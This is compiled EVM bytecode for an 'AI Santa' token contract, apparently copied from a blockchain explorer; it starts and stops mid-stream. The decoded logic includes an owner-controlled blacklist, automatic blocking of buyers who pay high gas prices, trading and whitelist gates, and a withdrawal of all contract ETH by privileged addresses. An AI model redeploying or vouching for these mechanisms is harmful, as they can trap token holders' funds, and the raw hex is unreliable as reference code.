e1461043a57600080fd5b80630445b6671461030f57806306fdde031461033857806309302dc614610372578063095ea7b3146103945780630b475170146103c45780630bf617fb146103da57600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b5061032560275481565b6040519081526020015b60405180910390f35b34801561034457600080fd5b5060408051808201909152600881526741492053616e746160c01b60208201525b60405161032f919061226e565b34801561037e57600080fd5b5061039261038d3660046122c3565b6109b6565b005b3480156103a057600080fd5b506103b46103af3660046122f8565b610a67565b604051901515815260200161032f565b3480156103d057600080fd5b5061032560255481565b3480156103e657600080fd5b506103926103f5366004612330565b610ad4565b34801561040657600080fd5b506103b461041536600461234d565b610b11565b34801561042657600080fd5b5061039261043536600461236f565b610b25565b34801561044657600080fd5b5061032560155481565b34801561045c57600080fd5b50600354610325565b34801561047157600080fd5b5061039261048036600461234d565b610beb565b34801561049157600080fd5b506103926104a03660046122c3565b610c20565b3480156104b157600080fd5b5061032560145481565b3480156104c757600080fd5b506103b46104d63660046123b2565b610c9e565b3480156104e757600080fd5b506103926104f63660046123ee565b610d60565b34801561050757600080fd5b50610325610db8565b34801561051c57600080fd5b5061039261052b366004612421565b610e29565b34801561053c57600080fd5b5060095b60405160ff909116815260200161032f565b34801561055e57600080fd5b5061039261056d366004612460565b610e7a565b34801561057e57600080fd5b5061039261058d3660046122c3565b610ef1565b34801561059e57600080fd5b50610392610f2f565b3480156105b357600080fd5b506103b46105c236600461248c565b610f72565b3480156105d357600080fd5b506023546103b49060ff1681565b3480156105ed57600080fd5b506103b46105fc36600461248c565b60096020526000908152604090205460ff1681565b34801561061d57600080fd5b5061039261062c3660046124a7565b610f80565b34801561063d57600080fd5b5061039261064c3660046124d3565b610fad565b34801561065d57600080fd5b506026546103b49060ff1681565b34801561067757600080fd5b506103b461068636600461248c565b600b6020526000908152604090205460ff1681565b3480156106a757600080fd5b506103256106b636600461248c565b6001600160a01b031660009081526006602052604090205490565b3480156106dd57600080fd5b5061039261104c565b3480156106f257600080fd5b5060235461054090610100900460ff1681565b34801561071157600080fd5b506103b46107203660046122f8565b6110c0565b34801561073157600080fd5b5061032560055481565b34801561074757600080fd5b5061032560045481565b34801561075d57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161032f565b34801561078f57600080fd5b506000546001600160a01b031661076b565b3480156107ad57600080fd5b50604080518082019091526006815265105a54d85b9d60d21b6020820152610365565b3480156107dc57600080fd5b5060215461076b906001600160a01b031681565b3480156107fc57600080fd5b506103b461080b3660046122f8565b6111cf565b34801561081c57600080fd5b506008546103b49060ff1681565b34801561083657600080fd5b5060005461076b906001600160a01b031681565b34801561085657600080fd5b50600a546103b49060ff1681565b34801561087057600080fd5b506103926111dc565b34801561088557600080fd5b506103926108943660046122c3565b611227565b3480156108a557600080fd5b506103256108b43660046122c3565b6112d5565b3480156108c557600080fd5b506103256108d43660046123ee565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561090b57600080fd5b5061039261091a366004612559565b61131c565b34801561092b57600080fd5b50601d5461076b906001600160a01b031681565b34801561094b57600080fd5b5061039261095a36600461248c565b61135d565b34801561096b57600080fd5b5060205461076b906001600160a01b031681565b34801561098b57600080fd5b5061032560135481565b3480156109a157600080fd5b506021546103b490600160a01b900460ff1681565b6000546001600160a01b031633146109e95760405162461bcd60e51b81526004016109e090612577565b60405180910390fd5b6001811015610a465760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015263302e312560e01b60648201526084016109e0565b6103e881600354610a5791906125c2565b610a6191906125e1565b60055550565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ac29086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610afe5760405162461bcd60e51b81526004016109e090612577565b6008805460ff1916911515919091179055565b600082610b1d836112d5565b119392505050565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b81526004016109e090612577565b600f8690556012859055601084905560118390556013829055610b8082610b7a858188818c8c61150b565b9061150b565b6014556015819055610b936005826125e1565b60145410610be35760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e203132250000000060448201526064016109e0565b505050505050565b6000546001600160a01b03163314610c155760405162461bcd60e51b81526004016109e090612577565b601e91909155601f55565b6000546001600160a01b03163314610c4a5760405162461bcd60e51b81526004016109e090612577565b601a5447906001600160a01b03166108fc6064610c6785856125c2565b610c7191906125e1565b6040518115909202916000818181858888f19350505050158015610c99573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260076020908152604080832033845290915281205460001914610d4b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600782528381203382529091529190912054610d2691849061156a565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610d568484846115a4565b90505b9392505050565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b81526004016109e090612577565b601980546001600160a01b039384166001600160a01b031991821617909155601a8054929093169116179055565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead60009081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e22546003549192610e24929091610e1e9190611b08565b90611b08565b905090565b6000546001600160a01b03163314610e535760405162461bcd60e51b81526004016109e090612577565b6023805461ffff191692151561ff0019169290921761010060ff9290921691909102179055565b6000546001600160a01b03163314610ea45760405162461bcd60e51b81526004016109e090612577565b6001600160a01b039091166000908152600d60209081526040808320805494151560ff199586168117909155600c83528184208054861682179055600e9092529091208054909216179055565b6000546001600160a01b03163314610f1b5760405162461bcd60e51b81526004016109e090612577565b610f2981633b9aca006125c2565b60255550565b6000546001600160a01b03163314610f595760405162461bcd60e51b81526004016109e090612577565b6021805460ff60a01b1916600160a01b17905543602255565b6000610ace82600019610a67565b336000908152600b602052604090205460ff16610f9c57600080fd5b601691909155601791909155601855565b6000546001600160a01b03163314610fd75760405162461bcd60e51b81526004016109e090612577565b60005b82811015611046578160096000868685818110610ff957610ff9612603565b905060200201602081019061100e919061248c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561103f81612619565b9050610fda565b50505050565b6000546001600160a01b031633146110765760405162461bcd60e51b81526004016109e090612577565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146110eb5760405162461bcd60e51b81526004016109e090612577565b8160000361115e576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015611137573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115b9190612632565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af11580156111ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d59919061264b565b6000610d593384846115a4565b336000908152600b602052604090205460ff166111f857600080fd5b60405133904780156108fc02916000818181858888f19350505050158015611224573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112515760405162461bcd60e51b81526004016109e090612577565b60018110156112b45760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206044820152687468616e20302e312560b81b60648201526084016109e0565b612710816003546112c591906125c2565b6112cf91906125e1565b60045550565b6000610ace6112e2610db8565b6021546001600160a01b03166000908152600660205260409020546113169061130f906002905b90611447565b8590611447565b906114c9565b6000546001600160a01b031633146113465760405162461bcd60e51b81526004016109e090612577565b6026805460ff191692151592909217909155602755565b6000546001600160a01b031633146113875760405162461bcd60e51b81526004016109e090612577565b6001600160a01b0381166113ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109e0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361145957506000610ace565b600061146583856125c2565b90508261147285836125e1565b14610d595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109e0565b6000610d5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4a565b6000806115188385612668565b905083811015610d595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109e0565b6000818484111561158e5760405162461bcd60e51b81526004016109e0919061226e565b50600061159b8486612680565b95945050505050565b60285460009060ff16156115c4576115bd848484611b78565b9050610d59565b6001600160a01b03841660009081526001602052604090205460ff1615801561160657506001600160a01b03831660009081526001602052604090205460ff16155b156116c057602154600160a01b900460ff1661165b5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016109e0565b600a5460ff16156116c0576001600160a01b0383166000908152600b602052604090205460ff166116c05760405162461bcd60e51b815260206004820152600f60248201526e139bdd0815da1a5d195b1a5cdd1959608a1b60448201526064016109e0565b60085460ff161561171a576001600160a01b03841660009081526009602052604090205460ff161561171a5760405162461bcd60e51b8152602060048201526003602482015262189bdd60ea1b60448201526064016109e0565b6025543a1015801561173a57506021546001600160a01b03848116911614155b15611763576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526001602052604090205460ff1615801561179557506001600160a01b0383163014155b80156117ac57506001600160a01b03831661dead14155b80156117c657506021546001600160a01b03848116911614155b80156117e05750601d546001600160a01b03848116911614155b80156117fa5750601b546001600160a01b03848116911614155b80156118145750601a546001600160a01b03848116911614155b801561183957506001600160a01b0383166000908152600e602052604090205460ff16155b156118da576001600160a01b0383166000908152600660205260409020546005546118648483612668565b11156118d85760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e000060648201526084016109e0565b505b6021546001600160a01b0385811691161480156118f9575060235460ff165b801561191e57506001600160a01b0383166000908152600d602052604090205460ff16155b156119b9576001600160a01b038316600090815260246020526040902054421161198a5760405162461bcd60e51b815260206004820152601c60248201527f506c65617365207761697420666f72206265747765656e20627579730000000060448201526064016109e0565b60235461199f90610100900460ff1642612668565b6001600160a01b0384166000908152602460205260409020555b6119c38483611c4c565b6119cb611cb9565b156119d8576119d8611d08565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054611a2a91849061156a565b6001600160a01b038516600090815260066020908152604080832093909355600c90529081205460ff1680611a7757506001600160a01b0384166000908152600c602052604090205460ff165b611a8b57611a868584866120f1565b611a8d565b825b6001600160a01b038516600090815260066020526040902054909150611ab3908261150b565b6001600160a01b03808616600081815260066020526040908190209390935591519087169060008051602061273783398151915290611af59085815260200190565b60405180910390a3506001949350505050565b6000610d5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156a565b60008183611b6b5760405162461bcd60e51b81526004016109e0919061226e565b50600061159b84866125e1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611bc991849061156a565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611bf8908361150b565b6001600160a01b03808516600081815260066020526040908190209390935591519086169060008051602061273783398151915290611c3a9086815260200190565b60405180910390a35060019392505050565b60045481111580611c7557506001600160a01b0382166000908152600e602052604090205460ff165b611cb55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016109e0565b5050565b6021546000906001600160a01b03163314801590611cda575060285460ff16155b8015611ce8575060265460ff165b8015610e2457505060275430600090815260066020526040902054101590565b6028805460ff19166001179055601e54601f54600091611d2791610b11565b611d3357600f54611d36565b60005b90506000611d5a60026113166014546113168660275461144790919063ffffffff16565b90506000611d7382602754611b0890919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611dad57611dad612603565b6001600160a01b039283166020918202929092010152600254825191169082906001908110611dde57611dde612603565b6001600160a01b039283166020918202929092018101919091525460405163791ac94760e01b81524792919091169063791ac94790611e2a908690600090879030904290600401612697565b600060405180830381600087803b158015611e4457600080fd5b505af1158015611e58573d6000803e3d6000fd5b505050506000611e718247611b0890919063ffffffff16565b90506000611e8c611e838860026114c9565b60145490611b08565b90506000611ea160026113168481878d611447565b90506000611ebe836113166010548761144790919063ffffffff16565b90506000611edb846113166012548861144790919063ffffffff16565b90506000611ef8856113166011548961144790919063ffffffff16565b601a546040519192506000916001600160a01b039091169085908381818185875af1925050503d8060008114611f4a576040519150601f19603f3d011682016040523d82523d6000602084013e611f4f565b606091505b5050601b546040519192506001600160a01b0316908390600081818185875af1925050503d8060008114611f9f576040519150601f19603f3d011682016040523d82523d6000602084013e611fa4565b606091505b5050601c546040519192506001600160a01b0316908490600081818185875af1925050503d8060008114611ff4576040519150601f19603f3d011682016040523d82523d6000602084013e611ff9565b606091505b5060009250508b1590506120d95760205460195460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af1158015612077573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061209c9190612708565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506028805460ff1916905550505050505050505050565b601854602154600091906001600160a01b03908116908416036121175750601654612132565b6021546001600160a01b039081169086160361213257506017545b600061215f601554606461214691906125c2565b611316846113096014548a61144790919063ffffffff16565b9050600061217e6014546113166013548561144790919063ffffffff16565b9050600061218c8383611b08565b306000908152600660205260409020549091506121a9908261150b565b3060009081526006602052604080822092909255601d546001600160a01b0316815220546121d7908361150b565b601d546001600160a01b0390811660009081526006602090815260409182902093909355518381523092918b1691600080516020612737833981519152910160405180910390a3811561225857601d546040518381526001600160a01b03918216918a16906000805160206127378339815191529060200160405180910390a35b6122628784611b08565b98975050505050505050565b600060208083528351808285015260005b8181101561229b5785810183015185820160400152820161227f565b818111156122ad576000604083870101525b50601f01601f1916929092016040019392505050565b6000602082840312156122d557600080fd5b5035919050565b80356001600160a01b03811681146122f357600080fd5b919050565b6000806040838503121561230b57600080fd5b612314836122dc565b946020939093013593505050565b801515811461122457600080fd5b60006020828403121561234257600080fd5b8135610d5981612322565b6000806040838503121561236057600080fd5b50508035926020909101359150565b60008060008060008060c0878903121561238857600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806000606084860312156123c757600080fd5b6123d0846122dc565b92506123de602085016122dc565b9150604084013590509250925092565b6000806040838503121561240157600080fd5b61240a836122dc565b9150612418602084016122dc565b90509250929050565b6000806040838503121561243457600080fd5b823561243f81612322565b9150602083013560ff8116811461245557600080fd5b809150509250929050565b6000806040838503121561247357600080fd5b61247c836122dc565b9150602083013561245581612322565b60006020828403121561249e57600080fd5b610d59826122dc565b6000806000606084860312156124bc57600080fd5b505081359360208301359350604090920135919050565b6000806000604084860312156124e857600080fd5b833567ffffffffffffffff8082111561250057600080fd5b818601915086601f83011261251457600080fd5b81358181111561252357600080fd5b8760208260051b850101111561253857600080fd5b6020928301955093505084013561254e81612322565b809150509250925092565b6000806040838503121561256c57600080fd5b823561231481612322565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156125dc576125dc6125ac565b500290565b6000826125fe57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006001820161262b5761262b6125ac565b5060010190565b60006020828403121561264457600080fd5b5051919050565b60006020828403121561265d57600080fd5b8151610d5981612322565b6000821982111561267b5761267b6125ac565b500190565b600082821015612692576126926125ac565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156126e75784516001600160a01b0316835293830193918301916001016126c2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561271d57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212204d55576cf0853e57e3b588ea7844f160aed6dbc689fdea091135ea18bdb9e1c564736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106103035760003560e01c80636ddd171311610190578063aff97153116100dc578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b1461093f578063f887ea401461095f578063fce589d81461097f578063ffb54a991461099557600080fd5b8063dd62ed3e146108b9578063df20fd49146108ff578063e3763ded1461091f57600080fd5b8063aff9715314610810578063b2bdfa7b1461082a578063b37dd6901461084a578063b46300ec14610864578063bd9ab53714610879578063d51ed1c81461089957600080fd5b806378109e54116101495780638da5cb5b116101235780638da5cb5b1461078357806395d89b41146107a1578063a8aa1b31146107d0578063a9059cbb146107f057600080fd5b806378109e54146107255780637d1db4a51461073b578063893d20e81461075157600080fd5b80636ddd1713146106515780637007546b1461066b57806370a082311461069b578063715018a6146106d1578063722b62ad146106e657806377b54bad1461070557600080fd5b806323b872dd1161024f578063444a1cec11610208578063617fe0ed116101e2578063617fe0ed146105c7578063633a1ec0146105e15780636ce46bc3146106115780636cfcc86e1461063157600080fd5b8063444a1cec1461057257806351cd7cc314610592578063571ac8b0146105a757600080fd5b806323b872dd146104bb5780632a9e97c2146104db5780632b112e49146104fb5780632d59456714610510578063313ce567146105305780633cd17c961461055257600080fd5b80631161ae39116102bc57806318160ddd1161029657806318160ddd146104505780631d0f2c99146104655780631da1db5e146104855780631df4ccfc146104a557600080fd5b80631161ae39146103fa57806311f630f31461041a578063180b0d7e1461043a57600080fd5b80630445b6671461030f57806306fdde031461033857806309302dc614610372578063095ea7b3146103945780630b475170146103c45780630bf617fb146103da57600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b5061032560275481565b6040519081526020015b60405180910390f35b34801561034457600080fd5b5060408051808201909152600881526741492053616e746160c01b60208201525b60405161032f919061226e565b34801561037e57600080fd5b5061039261038d3660046122c3565b6109b6565b005b3480156103a057600080fd5b506103b46103af3660046122f8565b610a67565b604051901515815260200161032f565b3480156103d057600080fd5b5061032560255481565b3480156103e657600080fd5b506103926103f5366004612330565b610ad4565b34801561040657600080fd5b506103b461041536600461234d565b610b11565b34801561042657600080fd5b5061039261043536600461236f565b610b25565b34801561044657600080fd5b5061032560155481565b34801561045c57600080fd5b50600354610325565b34801561047157600080fd5b5061039261048036600461234d565b610beb565b34801561049157600080fd5b506103926104a03660046122c3565b610c20565b3480156104b157600080fd5b5061032560145481565b3480156104c757600080fd5b506103b46104d63660046123b2565b610c9e565b3480156104e757600080fd5b506103926104f63660046123ee565b610d60565b34801561050757600080fd5b50610325610db8565b34801561051c57600080fd5b5061039261052b366004612421565b610e29565b34801561053c57600080fd5b5060095b60405160ff909116815260200161032f565b34801561055e57600080fd5b5061039261056d366004612460565b610e7a565b34801561057e57600080fd5b5061039261058d3660046122c3565b610ef1565b34801561059e57600080fd5b50610392610f2f565b3480156105b357600080fd5b506103b46105c236600461248c565b610f72565b3480156105d357600080fd5b506023546103b49060ff1681565b3480156105ed57600080fd5b506103b46105fc36600461248c565b60096020526000908152604090205460ff1681565b34801561061d57600080fd5b5061039261062c3660046124a7565b610f80565b34801561063d57600080fd5b5061039261064c3660046124d3565b610fad565b34801561065d57600080fd5b506026546103b49060ff1681565b34801561067757600080fd5b506103b461068636600461248c565b600b6020526000908152604090205460ff1681565b3480156106a757600080fd5b506103256106b636600461248c565b6001600160a01b031660009081526006602052604090205490565b3480156106dd57600080fd5b5061039261104c565b3480156106f257600080fd5b5060235461054090610100900460ff1681565b34801561071157600080fd5b506103b46107203660046122f8565b6110c0565b34801561073157600080fd5b5061032560055481565b34801561074757600080fd5b5061032560045481565b34801561075d57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161032f565b34801561078f57600080fd5b506000546001600160a01b031661076b565b3480156107ad57600080fd5b50604080518082019091526006815265105a54d85b9d60d21b6020820152610365565b3480156107dc57600080fd5b5060215461076b906001600160a01b031681565b3480156107fc57600080fd5b506103b461080b3660046122f8565b6111cf565b34801561081c57600080fd5b506008546103b49060ff1681565b34801561083657600080fd5b5060005461076b906001600160a01b031681565b34801561085657600080fd5b50600a546103b49060ff1681565b34801561087057600080fd5b506103926111dc565b34801561088557600080fd5b506103926108943660046122c3565b611227565b3480156108a557600080fd5b506103256108b43660046122c3565b6112d5565b3480156108c557600080fd5b506103256108d43660046123ee565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561090b57600080fd5b5061039261091a366004612559565b61131c565b34801561092b57600080fd5b50601d5461076b906001600160a01b031681565b34801561094b57600080fd5b5061039261095a36600461248c565b61135d565b34801561096b57600080fd5b5060205461076b906001600160a01b031681565b34801561098b57600080fd5b5061032560135481565b3480156109a157600080fd5b506021546103b490600160a01b900460ff1681565b6000546001600160a01b031633146109e95760405162461bcd60e51b81526004016109e090612577565b60405180910390fd5b6001811015610a465760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015263302e312560e01b60648201526084016109e0565b6103e881600354610a5791906125c2565b610a6191906125e1565b60055550565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ac29086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610afe5760405162461bcd60e51b81526004016109e090612577565b6008805460ff1916911515919091179055565b600082610b1d836112d5565b119392505050565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b81526004016109e090612577565b600f8690556012859055601084905560118390556013829055610b8082610b7a858188818c8c61150b565b9061150b565b6014556015819055610b936005826125e1565b60145410610be35760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e203132250000000060448201526064016109e0565b505050505050565b6000546001600160a01b03163314610c155760405162461bcd60e51b81526004016109e090612577565b601e91909155601f55565b6000546001600160a01b03163314610c4a5760405162461bcd60e51b81526004016109e090612577565b601a5447906001600160a01b03166108fc6064610c6785856125c2565b610c7191906125e1565b6040518115909202916000818181858888f19350505050158015610c99573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260076020908152604080832033845290915281205460001914610d4b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600782528381203382529091529190912054610d2691849061156a565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610d568484846115a4565b90505b9392505050565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b81526004016109e090612577565b601980546001600160a01b039384166001600160a01b031991821617909155601a8054929093169116179055565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead60009081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e22546003549192610e24929091610e1e9190611b08565b90611b08565b905090565b6000546001600160a01b03163314610e535760405162461bcd60e51b81526004016109e090612577565b6023805461ffff191692151561ff0019169290921761010060ff9290921691909102179055565b6000546001600160a01b03163314610ea45760405162461bcd60e51b81526004016109e090612577565b6001600160a01b039091166000908152600d60209081526040808320805494151560ff199586168117909155600c83528184208054861682179055600e9092529091208054909216179055565b6000546001600160a01b03163314610f1b5760405162461bcd60e51b81526004016109e090612577565b610f2981633b9aca006125c2565b60255550565b6000546001600160a01b03163314610f595760405162461bcd60e51b81526004016109e090612577565b6021805460ff60a01b1916600160a01b17905543602255565b6000610ace82600019610a67565b336000908152600b602052604090205460ff16610f9c57600080fd5b601691909155601791909155601855565b6000546001600160a01b03163314610fd75760405162461bcd60e51b81526004016109e090612577565b60005b82811015611046578160096000868685818110610ff957610ff9612603565b905060200201602081019061100e919061248c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561103f81612619565b9050610fda565b50505050565b6000546001600160a01b031633146110765760405162461bcd60e51b81526004016109e090612577565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146110eb5760405162461bcd60e51b81526004016109e090612577565b8160000361115e576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015611137573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115b9190612632565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af11580156111ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d59919061264b565b6000610d593384846115a4565b336000908152600b602052604090205460ff166111f857600080fd5b60405133904780156108fc02916000818181858888f19350505050158015611224573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112515760405162461bcd60e51b81526004016109e090612577565b60018110156112b45760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206044820152687468616e20302e312560b81b60648201526084016109e0565b612710816003546112c591906125c2565b6112cf91906125e1565b60045550565b6000610ace6112e2610db8565b6021546001600160a01b03166000908152600660205260409020546113169061130f906002905b90611447565b8590611447565b906114c9565b6000546001600160a01b031633146113465760405162461bcd60e51b81526004016109e090612577565b6026805460ff191692151592909217909155602755565b6000546001600160a01b031633146113875760405162461bcd60e51b81526004016109e090612577565b6001600160a01b0381166113ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109e0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361145957506000610ace565b600061146583856125c2565b90508261147285836125e1565b14610d595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109e0565b6000610d5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4a565b6000806115188385612668565b905083811015610d595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109e0565b6000818484111561158e5760405162461bcd60e51b81526004016109e0919061226e565b50600061159b8486612680565b95945050505050565b60285460009060ff16156115c4576115bd848484611b78565b9050610d59565b6001600160a01b03841660009081526001602052604090205460ff1615801561160657506001600160a01b03831660009081526001602052604090205460ff16155b156116c057602154600160a01b900460ff1661165b5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016109e0565b600a5460ff16156116c0576001600160a01b0383166000908152600b602052604090205460ff166116c05760405162461bcd60e51b815260206004820152600f60248201526e139bdd0815da1a5d195b1a5cdd1959608a1b60448201526064016109e0565b60085460ff161561171a576001600160a01b03841660009081526009602052604090205460ff161561171a5760405162461bcd60e51b8152602060048201526003602482015262189bdd60ea1b60448201526064016109e0565b6025543a1015801561173a57506021546001600160a01b03848116911614155b15611763576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526001602052604090205460ff1615801561179557506001600160a01b0383163014155b80156117ac57506001600160a01b03831661dead14155b80156117c657506021546001600160a01b03848116911614155b80156117e05750601d546001600160a01b03848116911614155b80156117fa5750601b546001600160a01b03848116911614155b80156118145750601a546001600160a01b03848116911614155b801561183957506001600160a01b0383166000908152600e602052604090205460ff16155b156118da576001600160a01b0383166000908152600660205260409020546005546118648483612668565b11156118d85760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e000060648201526084016109e0565b505b6021546001600160a01b0385811691161480156118f9575060235460ff165b801561191e57506001600160a01b0383166000908152600d602052604090205460ff16155b156119b9576001600160a01b038316600090815260246020526040902054421161198a5760405162461bcd60e51b815260206004820152601c60248201527f506c65617365207761697420666f72206265747765656e20627579730000000060448201526064016109e0565b60235461199f90610100900460ff1642612668565b6001600160a01b0384166000908152602460205260409020555b6119c38483611c4c565b6119cb611cb9565b156119d8576119d8611d08565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054611a2a91849061156a565b6001600160a01b038516600090815260066020908152604080832093909355600c90529081205460ff1680611a7757506001600160a01b0384166000908152600c602052604090205460ff165b611a8b57611a868584866120f1565b611a8d565b825b6001600160a01b038516600090815260066020526040902054909150611ab3908261150b565b6001600160a01b03808616600081815260066020526040908190209390935591519087169060008051602061273783398151915290611af59085815260200190565b60405180910390a3506001949350505050565b6000610d5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156a565b60008183611b6b5760405162461bcd60e51b81526004016109e0919061226e565b50600061159b84866125e1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611bc991849061156a565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611bf8908361150b565b6001600160a01b03808516600081815260066020526040908190209390935591519086169060008051602061273783398151915290611c3a9086815260200190565b60405180910390a35060019392505050565b60045481111580611c7557506001600160a01b0382166000908152600e602052604090205460ff165b611cb55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016109e0565b5050565b6021546000906001600160a01b03163314801590611cda575060285460ff16155b8015611ce8575060265460ff165b8015610e2457505060275430600090815260066020526040902054101590565b6028805460ff19166001179055601e54601f54600091611d2791610b11565b611d3357600f54611d36565b60005b90506000611d5a60026113166014546113168660275461144790919063ffffffff16565b90506000611d7382602754611b0890919063ffff